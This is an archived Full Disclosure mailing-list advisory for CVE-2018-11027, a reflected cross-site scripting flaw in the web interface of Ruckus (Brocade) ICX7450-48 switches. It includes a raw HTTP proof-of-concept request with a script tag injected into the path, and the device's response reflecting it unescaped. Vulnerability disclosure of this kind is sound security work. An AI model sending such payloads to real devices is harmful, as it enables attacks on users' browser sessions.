full-disclosure - [FD] Ruckus (Brocade) ICX7450-48 Reflected Cross Site Scripting

Open Source and information security mailing list archives

Message-ID: <CALVCbHmiE5L=W8g8B7HwNt7tT4sCKQfHXR3kE4sFM0ySRpc-AA@mail.gmail.com>
Date: Sat, 19 May 2018 19:39:00 +0300
From: Yavuz Atlas <yavuz.atlas@...net.com.tr>
To: fulldisclosure@...lists.org
Subject: [FD] Ruckus (Brocade) ICX7450-48 Reflected Cross Site Scripting

I. VULNERABILITY
-------------------------
Ruckus (Brocade) ICX7450-48 Reflected Cross Site Scripting

II. CVE REFERENCE
-------------------------
CVE-2018-11027

III. VENDOR HOMEPAGE
-------------------------
https://www.ruckuswireless.com

IV. DESCRIPTION
-------------------------
Ruckus (Brocade) ICX7450-48 web application has a reflected cross-site
scripting vulnerability. A successful exploit could allow the attacker to
execute arbitrary script code in the context of the affected site and allow
the attacker to access sensitive browser-based information.

V. PROOF OF CONCEPT
-------------------------
Request:

GET /<script>alert(1)</script> HTTP/1.1
Host: 10.10.10.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Response:

<html>
<head>
<title>Object Not Found</title>
</head>
<body>
<h1>Object Not Found</h1>
The requested URL '/<script>alert(1)</script>' was not found on the
asdf_ICX.<p>
Return to <a href="">last page</a><p>
</body>
</html>

VI. CREDIT
-------------------------
Yavuz Atlas - @yavuzatlas_
http://www.biznet.com.tr

-- 
Bu mesaj ve
 ekleri, mesajda gönderildiği belirtilen kişi/kişilere özeldir 
ve 
gizlidir. Bu mesaj herhangi bir amaç için çoğaltılamaz, dağıtılamaz ve 

yayınlanamaz. Mesajın gönderildiği kişi değilseniz, mesaj içeriğini ya 
da 
eklerini kopyalamayınız, yayınlamayınız ya da başka kişilere 

yönlendirmeyiniz ve mesajı gönderen kişiyi derhal uyararak bu mesajı 

siliniz. Şirketimiz, mesajın içeriğinin ve eklerinin size değişikliğe 

uğrayarak veya geç ulaşmasından; gizliliğinin korunmamasından; virüs 

içermesinden ve bilgisayar sisteminize verebileceği herhangi bir 
zarardan 
sorumlu değildir.
 This message and its attachments are 
confidential and 
intended solely for the recipient(s) stated therein. 
This message cannot 
be copied, distributed or published for any purpose.
 If you are not the 
intended recipient, please do not copy, publish or 
forward the information 
existing in the content and attachments of this 
message. In such case 
please notify the sender immediately and delete 
all the copies of the 
message. Our company shall have no liability for 
any changes in or late 
receiving of the message, loss of integrity and 
confidentiality, viruses 
and any damages caused in anyway to your 
computer system based on this 
message.

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives